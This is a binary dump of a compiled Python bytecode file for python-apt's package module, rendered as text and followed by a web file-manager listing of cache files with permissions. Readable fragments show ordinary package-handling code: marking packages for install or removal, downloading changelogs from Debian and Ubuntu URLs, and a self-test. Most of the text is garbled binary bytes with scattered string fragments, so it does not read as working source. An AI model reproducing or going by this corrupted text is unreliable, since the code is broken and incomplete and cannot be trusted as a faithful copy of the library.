�s�+�+�~�s�#&)rrWs`r"r��VersionList.__iter__�s���F�t�~�~�F�Fr/c��[U[5(aURnURHnURU:XdM g gr�)rfrrNrr	rs   r"r��VersionList.__contains__�s:���d�G�$�$��<�<�D��>�>�C��{�{�d�"��"�r/c�0�[U5[U5:H$rC)r�r>s  r"r=�VersionList.__eq__�s���D�z�T�%�[�(�(r/c�,�[UR5$rC)r�rrWs r"r��VersionList.__len__�s���4�>�>�"�"r/c�X�URVs/sHoRPM sn$s snf)z*Return a list of all versions, as strings.)rr	)r?rs  r"r��VersionList.keys�s ��'+�~�~�6�~����~�6�6��6s�'c�0�X$![a Us$f=f)zReturn the key or the default.)r0r�s   r"r��VersionList.get�s#��	��9����	��N�	�s���)rrrC)rrrrzslice | NonerHr�)r	zint | slice | strrHr	r�)rHzIterator[Version])r	rGrHrI)r@r	rHrIr�r)r�r<r��Version | NonerHr2)r)r*r+r,r-rPr�rXr_r�r�r=r�r�r�r.r'r/r"rr�s?���&4�
:�>�1�G��)�#�
7��r/rc��\rSrSrSrS)SjrS*SjrS*SjrS+Sjr\	S,Sj5r
\
RS-Sj5r
\	S,S	j5r\	S*S
j5r
\	S*Sj5r\	S*Sj5r\	S.S
j5r\	S/Sj5rS*Sjr\	S/Sj5r\	S/Sj5r\	S/Sj5r\	S/Sj5r\	S/Sj5r\	S/Sj5r\	S/Sj5r\	S/Sj5r\	S/Sj5r\	S/Sj5r\	S/Sj5r\	S0Sj5rS1S2Sjjr\	S3Sj5r \	S/Sj5r!\	S/S j5r"\	S/S!j5r#S4S"jr$S5S6S#jjr%S7S8S$jjr&S9S:S%jjr'S9S;S&jjr(S<S'jr)S(r*g)=ri�z�Representation of a package in a cache.

This class provides methods and properties for working with a package. It
lets you mark the package for installation, check if it is installed, and
much more.
c�*�X lXlSUlg)zInit the Package objectr`N)ryrs�
_changelog)r?�pcache�pkgiters   r"rP�Package.__init__�s���	�����r/c��UR$rC�r]rWs r"rX�Package.__str__�s���y�y�r/c��SRURRURRURR5$)Nz.<Package: name:{!r} architecture={!r} id:{!r}>)r\ryr]rFrMrWs r"r_�Package.__repr__�s8��?�F�F��I�I�N�N��I�I�"�"��I�I�L�L�
�	
r/c�4�URUR:$rCr:r>s  r"r!�Package.__lt__�s���y�y�5�:�:�%�%r/c�~�URRRUR5nUb[	X5$g)z�Return the candidate version of the package.

This property is writeable to allow you to set the candidate version
of the package. Just assign a Version() object, and it will be set as
the candidate version.
N)rsr��get_candidate_verryr)r?rs  r"�	candidate�Package.candidates6���|�|�%�%�7�7��	�	�B�����4�&�&�r/c���URR5 URRRURUR
5 URR
5 g)z)Set the candidate version of the package.N)rs�cache_pre_changer��set_candidate_verryr��cache_post_change)r?rNs  r"rBrC
sF��	
���%�%�'������0�0����G�M�M�J����&�&�(r/c�p�URRb[XRR5$g)zPReturn the currently installed version of the package.

.. versionadded:: 0.7.9
N)ry�current_verrrWs r"rL�Package.installeds,���9�9� � �,��4���!6�!6�7�7�r/c�8�URRS5$)aEReturn the name of the package, possibly including architecture.

If the package is not part of the system's preferred architecture,
return the same as :attr:`fullname`, otherwise return the same
as :attr:`shortname`

.. versionchanged:: 0.7.100.3

As part of multi-arch, this field now may include architecture
information.
T�ry�get_fullnamerWs r"r]�Package.names���y�y�%�%�d�+�+r/c�8�URRS5$)z�Return the name of the package, including architecture.

Note that as for :meth:`architecture`, this returns the
native architecture for Architecture: all packages.

.. versionadded:: 0.7.100.3FrLrWs r"r�Package.fullname-s���y�y�%�%�e�,�,r/c�.�URR$)zRReturn the name of the package, without architecture.

.. versionadded:: 0.7.100.3)ryr]rWs r"rx�Package.shortname7s��
�y�y�~�~�r/c�.�URR$)zfReturn a uniq ID for the package.

This can be used eg. to store additional information about the pkg.)ryrMrWs r"rM�
Package.id>s��
�y�y�|�|�r/c�.�URR$)z>Return True if the package is an essential part of the system.)ry�	essentialrWs r"rV�Package.essentialEs���y�y�"�"�"r/c�.�URR$)a�Return the Architecture of the package.

Note that for Architecture: all packages, this returns the
native architecture, as they are internally treated like native
packages. To get the concrete architecture, look at the
:attr:`Version.architecture` attribute.

.. versionchanged:: 0.7.100.3
    This is now the package's architecture in the multi-arch sense,
    previously it was the architecture of the candidate version
    and deprecated.
)ryrFrWs r"rF�Package.architectureJs���y�y�%�%�%r/c�`�URRRUR5$)z5Return ``True`` if the package is marked for install.)rsr��marked_installryrWs r"r[�Package.marked_install[�#���|�|�%�%�4�4�T�Y�Y�?�?r/c�`�URRRUR5$)z5Return ``True`` if the package is marked for upgrade.)rsr��marked_upgraderyrWs r"r_�Package.marked_upgrade`r]r/c�`�URRRUR5$)z4Return ``True`` if the package is marked for delete.)rsr��
marked_deleteryrWs r"rb�Package.marked_deletee�#���|�|�%�%�3�3�D�I�I�>�>r/c�`�URRRUR5$)z2Return ``True`` if the package is marked for keep.)rsr��marked_keepryrWs r"rf�Package.marked_keepjs#���|�|�%�%�1�1�$�)�)�<�<r/c�`�URRRUR5$)zPackage is marked for downgrade)rsr��marked_downgraderyrWs r"ri�Package.marked_downgradeo�#���|�|�%�%�6�6�t�y�y�A�Ar/c�`�URRRUR5$)z7Return ``True`` if the package is marked for reinstall.)rsr��marked_reinstallryrWs r"rm�Package.marked_reinstalltrkr/c�2�URRSL$)z,Return ``True`` if the package is installed.N)ryrIrWs r"r��Package.is_installedys���y�y�$�$�D�0�0r/c��UR=(a/ URRRUR5$)z-Return ``True`` if the package is upgradable.)r�rsr��
is_upgradableryrWs r"rr�Package.is_upgradable~s.��� � �T�T�\�\�%;�%;�%I�%I�$�)�)�%T�Tr/c��UR=(d UR=(a/ URRR	UR
5$)z�Return ``True`` if the package is no longer required.

If the package has been installed automatically as a dependency of
another package, and if no packages depend on it anymore, the package
is no longer required.
)r�r[rsr��
is_garbageryrWs r"�is_auto_removable�Package.is_auto_removable�s>��
���4��!4�!4�;��l�l�$�$�/�/��	�	�:�	;r/c�`�URRRUR5$)z@Return whether the package is marked as automatically installed.)rsr��is_auto_installedryrWs r"ry�Package.is_auto_installed�s#���|�|�%�%�7�7��	�	�B�Br/c�`�URRRUR5$)z6Return ``True`` if the package update is being phased.)rsr��phasing_appliedryrWs r"r|�Package.phasing_applied�s#���|�|�%�%�5�5�d�i�i�@�@r/c�:�URUR4H[nSU-n[US5nUR5R	S5R5R
S5sSSS5 s $ /$!,(df   Mp=f![a M�f=f)z�Return a list of files installed by the package.

Return a list of unicode names of the files which have
been installed by this package
z/var/lib/dpkg/info/%s.list�rbrarbN)r]rr�readrgrkri�OSError)r?r]rr/s    r"�installed_files�Package.installed_files�s����I�I�t�}�}�,�D�/�$�6�D�
��$��%��$�>�>�+�2�2�7�;�A�A�C�I�I�$�O�&�%�-��	�&�%���
��
�s.�B�<A:�*	B�:
B		�B�	B�
B�BNc�V�URS:waUR$UR(d[S5$Uc�URRSRS:XaSnO]URRSRS:XaSnO3[S5n[U[5(aU$URS	5$URRnS
nURRnURRn[R"5nURU5(a�UR(dM)URRUR:XaURnURnOU[R"URU5S:�aURnURnURU5(aM�UR#SS5n	[%U	5S:�aU	SnA	USn
UR'S
5(aS
US-n
UR#SS5n[%U5S:�aSR)USS5nAUUU
UUS.-n[*R,"5n[*R."S5 U(a-UR15(a[*R."U5 g[3U5n
SnS[4R6"U5-nU(a-UR15(a[*R."U5 gU
R95nU(dO�URS	5n[4R:"UU5nU(a�[=UR>SS5nU(aSU;aUR#SS5SnURAS5nU(aSU;aUR#SS5SnU(a[R"UU5S::aOUU-
nGM[%U5S:Xa1[S5n[U[5(dURS	5nX�l[*R."U5 UR$![ a GN�f=f![Ba� URRSRS:Xa[S5XG4-nO[S5n[U[5(aUs[*R."U5 $URS	5s[*R."U5 $[D[F4ad [S5n[U[5(aUs[*R."U5 $URS	5s[*R."U5 $f=f![*R."U5 f=f)a-
Download the changelog of the package and return it as unicode
string.

The parameter *uri* refers to the uri of the changelog file. It may
contain multiple named variables which will be substitued. These
variables are (src_section, prefix, src_pkg, src_ver). An example is
the Ubuntu changelog::

    "http://changelogs.ubuntu.com/changelogs/pool" \
        "/%(src_section)s/%(prefix)s/%(src_pkg)s" \
        "/%(src_pkg)s_%(src_ver)s/changelog"

The parameter *cancel_lock* refers to an instance of threading.Event,
which if set, prevents the download.
r`z$The list of changes is not availableNr�Debianzshttp://packages.debian.org/changelogs/pool/%(src_section)s/%(prefix)s/%(src_pkg)s/%(src_pkg)s_%(src_ver)s/changelog�Ubuntuzuhttp://changelogs.ubuntu.com/changelogs/pool/%(src_section)s/%(prefix)s/%(src_pkg)s/%(src_pkg)s_%(src_ver)s/changelogra�main�/r�lib��:)�src_section�prefix�src_pkg�src_verrdz^%s \((.*)\)(.*)$rNz�The list of changes is not available yet.

Please use http://launchpad.net/ubuntu/+source/%s/%s/+changelog
until the changes become available or try again later.zOFailed to download the list of changes. 
Please check your Internet connection.)$r5rBrer�r�rfr<rgrzr]rrr�r.rNr�SystemErrorrir�rmr��socket�getdefaulttimeout�setdefaulttimeout�is_setr�re�escape�readline�matchr�rL�grouprr�r)r?r��cancel_lock�resr�r�r]r��src_records�
section_splitr��
src_ver_split�timeout�changelog_file�	changelog�regexp�line_rawrsr�rL�
changelog_vers                     r"�
get_changelog�Package.get_changelog�s��(�?�?�b� ��?�?�"��~�~��;�<�<��;��~�~�%�%�a�(�/�/�8�;�9��
���'�'��*�1�1�X�=�9���>�?���c�3�'�'��J��:�:�g�.�.��.�.�,�,�����.�.�(�(���.�.�/�/��	2�
"�/�/�1�K��$�$�W�-�-�"�*�*���>�>�0�0�K�4G�4G�G�)�1�1�G�)�1�1�G���*�*�;�+>�+>��H�1�L�)�1�1�G�)�1�1�G��$�$�W�-�-� �
�
�c�1�-�
��}���!�'��*�K���������e�$�$��W�Q�Z�'�F� �
�
�c�1�-�
��}���!��g�g�m�A�B�/�0�G���&����	
�
���*�*�,��N	.�K
/��(�(��+��;�#5�#5�#7�#7��N
�$�$�W�-�K")�����	�.�"�)�)�G�2D�E���"�{�'9�'9�';�';�!�|
�$�$�W�-�y .�6�6�8�H�#��$�?�?�7�3�D��H�H�V�T�2�E��%,�D�N�N�I�t�$L�	�$��	�)9�(1����Q�(?��(B�I�(-���A��
�(�S�M�-A�,9�,?�,?��Q�,G��,J�M�&� '� 7� 7�
�y� Q�UV� V�!���%�I�=�B�y�>�Q�&� !�"H� I�I�%�i��5�5�$-�$4�$4�W�$=�	�"+��8
�$�$�W�-������u�	��	��~�
/��>�>�)�)�!�,�3�3�x�?��!��!�*�+�C��B�C�C��c�3�'�'��J�
�$�$�W�-��:�:�g�.�.�
�$�$�W�-��]�+�
/��6����c�3�'�'��J�
�$�$�W�-��:�:�g�.�.��$�$�W�-�
/��
�$�$�W�-�si�Q%�92Q6�AQ6�D$Q6�%
Q3�2Q3�6A#V
�V�1V
�V�1V
�V�#V
�4V�V
�
V�V(c��[U5$)zSReturn a VersionList() object for all available versions.

.. versionadded:: 0.7.9
)rrWs r"�versions�Package.versionsgs���4� � r/c�`�URRRUR5$)z5Return True if the to-be-installed package is broken.)rsr��is_inst_brokenryrWs r"r��Package.is_inst_brokenor]r/c�`�URRRUR5$)z/Return True if the installed package is broken.)rsr��
is_now_brokenryrWs r"r��Package.is_now_brokentrdr/c�P�URR[R:H$)z8Checks whether the package is is the config-files state.)ry�
current_stater�CURSTATE_CONFIG_FILESrWs r"�has_config_files�Package.has_config_filesys���y�y�&�&�'�*G�*G�G�Gr/c���URR5 URRRUR5 URR5 g)zMark a package for keep.N)rsrEr��	mark_keepryrGrWs r"r��Package.mark_keep�s>�����%�%�'������(�(����3����&�&�(r/c�8�URR5 URRRURU5 U(a�URRR
S:�a�[R"URR5nURUR5 URUR5 URUR5 UR5 URR5 g)aMark a package for deletion.

If *auto_fix* is ``True``, the resolver will be run, trying to fix
broken packages.  This is the default.

If *purge* is ``True``, remove the configuration files of the package
as well.  The default is to keep the configuration.
rN)
rsrEr��mark_deletery�broken_countr�ProblemResolver�clear�protect�remove�resolverG)r?�auto_fix�purge�fixs    r"r��Package.mark_delete�s���	
���%�%�'������*�*�4�9�9�e�<�����.�.�;�;�a�?��)�)�$�,�,�*@�*@�A�C��I�I�d�i�i� ��K�K��	�	�"��J�J�t�y�y�!��K�K�M����&�&�(r/c��URR5 URRRURX#5 U(a�URRR
S:�aq[R"URR5nURUR5 URUR5 URS5 URR5 g)a�Mark a package for install.

If *autoFix* is ``True``, the resolver will be run, trying to fix
broken packages.  This is the default.

If *autoInst* is ``True``, the dependencies of the packages will be
installed automatically.  This is the default.

If *fromUser* is ``True``, this package will not be marked as
automatically installed. This is the default. Set it to False if you
want to be able to automatically remove the package at a later stage
when no other package depends on it.
rTN)rsrEr��mark_installryr�rr�r�r�r�rG)r?r��	auto_inst�	from_user�fixers     r"r��Package.mark_install�s��� 	
���%�%�'������+�+�D�I�I�y�L�����.�.�;�;�a�?��+�+�D�L�L�,B�,B�C�E��K�K��	�	�"��M�M�$�)�)�$��M�M�$�����&�&�(r/c���UR(a-URnURUS9 URU5 g[R
R
SURR-5 g)zMark a package for upgrade.)r�z4MarkUpgrade() called on a non-upgradeable pkg: '%s'
N)	rrryr��	mark_auto�sys�stderr�writeryr])r?r��autos   r"�mark_upgrade�Package.mark_upgrade�sZ������)�)�D����	��2��N�N�4� �
�J�J���K��)�)�.�.�!�
r/c�d�URRRURU5 g)z�Mark a package as automatically installed.

Call this function to mark a package as automatically installed. If the
optional parameter *auto* is set to ``False``, the package will not be
marked as automatically installed anymore. The default is ``True``.
N)rsr�r�ry)r?r�s  r"r��Package.mark_auto�s"��	
�����(�(����D�9r/c�N�URRRX5 g)z�Commit the changes.

The parameter *fprogress* refers to a apt_pkg.AcquireProgress() object,
like apt.progress.text.AcquireProgress().

The parameter *iprogress* refers to an InstallProgress() object, as
found in apt.progress.base.
N)rsr��commit)r?�	fprogress�	iprogresss   r"r��Package.commit�s��	
�����%�%�i�;r/)r5rsry)r6z	apt.Cacher7zapt_pkg.PackagerHr�r�)r@rrHrI)rHr2)rNrrHr�r�r�r)NN)r�r
r�zthreading.Event | NonerHr<)rHr)rHr��TF)r�rIr�rIrHr�)TTT)r�rIr�rIr�rIrHr�)T)r�rIrHr�)r�rIrHr�)r�rr�rrHr�)+r)r*r+r,r-rPrXr_r!r�rB�setterrLr]rrxrMrVrFr[r_rbrfrirmr�rrrvryr|r�r�r�r�r�r�r�r�r�r�r�r�r.r'r/r"rr�s������
�&��
��
����)��)������,��,��-��-����������#��#�
&�"�@��@��@��@��?��?��=��=��B��B��B��B��1��1��U��U��	;��	;��C��C��A��A�����"MQ�y��y�3I�y�	�y�v�!��!��@��@��?��?��H��H�)�)�*PT�)��)�04�)�HL�)�	
�)�4�:�	<r/rc�	�[S5 SSKn[R"5 [R
RR5n[R"U5nUSn[SUR-5 [SUR-5 [SURR-5 [SURR-5 [S	URR-5 [S
URR-5 [SURR-5 [SURR -5 [S
URR"-5 [SUR$-5 [SURR&-5 [SURR(-5 [SURR*-5 [SURR,-5 [SURR.-5 [SURR0-5 [SURR2-5 URR0H.n[SR5SUR6555 M0 [SURR8-5 [SURR:-5 [SURR<5 [USR?55 SH�n[SU5 UH?nUR@(dMURCSS5S:XdM.UREU5 MA [SURFRH-5 [S URFRJ-5 M� [5 SH�n[S!U-5 [R"U5nURM5H/nURCSS5S:XdMX&ROU5 M1 [SURFRH-5 [S#URFRR-5 M� g![Pa [S"U-5 M�f=f)$z
Self-test.zSelf-test for the Package modulrNz	apt-utilsz	Name: %s zID: %s zPriority (Candidate): %s zPriority (Installed): %s zInstalled: %s zCandidate: %s zCandidateDownloadable: %szCandidateOrigins: %szSourcePkg: %s zSection: %s zSummary: %szDescription (formatted) :
%szDescription (unformatted):
%szInstalledSize: %s zPackageSize: %s zDependencies: %szRecommends: %s�,c	3�# �UH;nURSURSURSURS3v� M= g7f)z (z) (�)N)r]rNr^r�)r��os  r"r��_test.<locals>.<genexpr>�s@����,�A��6�6�(�"�Q�Y�Y�K�s�1�:�:�,�c�!�,�,��q�I�,�s�AAzarch: %szhomepage: %szrec: �2vcardr�z8Running install on random upgradable pkgs with AutoFix: rzBroken: %s zInstCount: %s z.Randomly remove some packages with AutoFix: %szError trying to remove: %s z
DelCount: %s )*�print�randomr�initr�r�r��
OpProgress�Cacher]rMrBr�rLrNrIr�rzr]rVrtrZr<r r�r�r�r�rFr?r�r�rr�randintr�r�r��
inst_countr�r�r��	del_count)r�r�rzr{rO�ir]s       r"�_testr��s���
�
+�,���L�L�N��|�|� � �+�+�-�H��I�I�h��E�
��
�C�	�+����
 �!�	�)�c�f�f�
��	�
%��
�
�(>�(>�
>�?�	�
%��
�
�(>�(>�
>�?�	�
�S�]�]�2�2�
2�3�	�
�S�]�]�2�2�
2�3�	�
%��
�
�(B�(B�
B�C�	�
 �3�=�=�#8�#8�
8�9�	�
�S�]�]�6�6�
6�7�	�.�3�;�;�
&�'�	�-�#�-�-�/�/�
/�0�	�
)�C�M�M�,E�,E�
E�F�	�
*�S�]�]�-J�-J�
J�K�	�
����!=�!=�
=�>�	�
�s�}�}�1�1�
1�2�	�
�s�}�}�9�9�
9�:�	�
�S�]�]�5�5�
5�6��}�}�)�)��
��H�H���,�,��
�	
�*�
�*�s�}�}�1�1�
1�2�	�.�3�=�=�1�1�
1�2�	�'�3�=�=�'�'�(�	�%��/�
'�
'�
)�*�
��
�H�!�L��C�� � � ��>�>�!�Q�'�1�,��$�$�Q�'��	�m�e�o�o�:�:�:�;�
�����!;�!;�;�<��
�G�
��
�>��B�C��	�	�(�#���J�J�L�D��~�~�a��#�q�(�@��K�+�+�A�.�!�	�m�e�o�o�:�:�:�;�
�o���� 9� 9�9�:���#�@��7�$�>�?�@�s�R1�1S
�S
�__main__)rr<r r�rzapt_pkg.HashStringListrHrI)/r-�
__future__rr�rr�r�rr��	threading�collections.abcrrrr�http.clientr�typingr	r
�urllib.errorr�urllib.requestrrr
re�apt.progress.textr��apt.progress.baserr�__all__r#�	Exceptionr%r1rr�rrrrrrr�r)r'r/r"�<module>r�s���*)�"��	�	�
��
��A�A�%�%�"�"�� ��>����3��3�:�Z�:�H?�H?�VJL��n�%�JL�Z'
�'
�T7�W�S�#�X�
�7�tP(�P(�fM�(�7�#�M�`n<�n<�b�;;��;;�~�z��	�G�r/

Filemanager

Name Type Size Permission Actions
__init__.cpython-313.pyc File 660 B 0644
cache.cpython-313.pyc File 47.86 KB 0644
cdrom.cpython-313.pyc File 3.54 KB 0644
debfile.cpython-313.pyc File 37.33 KB 0644
package.cpython-313.pyc File 73.61 KB 0644
utils.cpython-313.pyc File 3.67 KB 0644
Filemanager